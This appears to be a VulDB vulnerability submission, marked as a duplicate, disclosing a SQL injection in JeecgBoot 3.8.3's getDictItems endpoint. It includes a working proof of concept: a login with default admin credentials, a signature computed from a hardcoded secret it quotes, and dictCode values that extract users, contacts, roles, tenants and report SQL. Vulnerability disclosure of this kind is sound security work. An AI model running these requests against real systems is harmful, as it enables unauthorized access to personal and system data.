| Título | Guojusoft (Beijing Guoju Information Technology Co., Ltd.) JeecgBoot 3.8.3 SQL Injection |
|---|
| Descripción | JeecgBoot ≤ 3.8.3 contains a SQL injection vulnerability in the dictionary API.
Endpoint: /jeecg-boot/sys/dict/getDictItems/{dictCode}
File: SysDictMapper.xml — uses MyBatis ${} string interpolation for table and column names:
SELECT ${text} as "text", ${code} as "value" FROM ${table}
Prerequisites:
- Default admin credentials (admin/123456 from init SQL, /sys/mLogin requires no CAPTCHA)
- Default signatureSecret "dd05f1c54d63749eda95f9fa6d49v442a" (hardcoded, public in GitHub repo)
- Default dev mode auto-whitelists queried tables
PoC (verified on live instance, JeecgBoot 3.8.3 + MySQL 8.x + Redis):
1. Get JWT token:
POST /jeecg-boot/sys/mLogin {"username":"admin","password":"123456"}
2. Compute signature (MD5 of params.json + default_secret):
sign = MD5({"x-path-variable":"sys_user,username,id"} + secret)
3. Extract usernames from sys_user table:
GET /jeecg-boot/sys/dict/getDictItems/sys_user,username,id
X-Access-Token: <jwt>
X-Sign: <computed_sign>
X-TIMESTAMP: <unix_ms>
Response: {"success":true,"result":[
{"text":"admin","value":"e9ca..."},
{"text":"jeecg","value":"a75d..."},
{"text":"zhangsan","value":"3d46..."}
]}
Other exploitable dictCode values:
- sys_user,phone,email (phone numbers + emails)
- sys_role,role_name,role_code (system roles)
- sys_tenant,name,id (all tenants)
- jimu_report_db,db_dyn_sql,db_code (report SQL source code)
Root cause: No parameterization. ${} replaces user input directly into SQL without allowlist. |
|---|
| Usuario | PenguinK (UID 100255) |
|---|
| Sumisión | 2026-07-31 06:19 (hace 2 meses) |
|---|
| Moderación | 2026-09-25 10:21 (2 months later) |
|---|
| Estado | Duplicado |
|---|
| Entrada de VulDB | 349569 [JeecgBoot hasta 3.9.1 getDictItems isExistSqlInjectKeyword inyección SQL] |
|---|
| Puntos | 0 |
|---|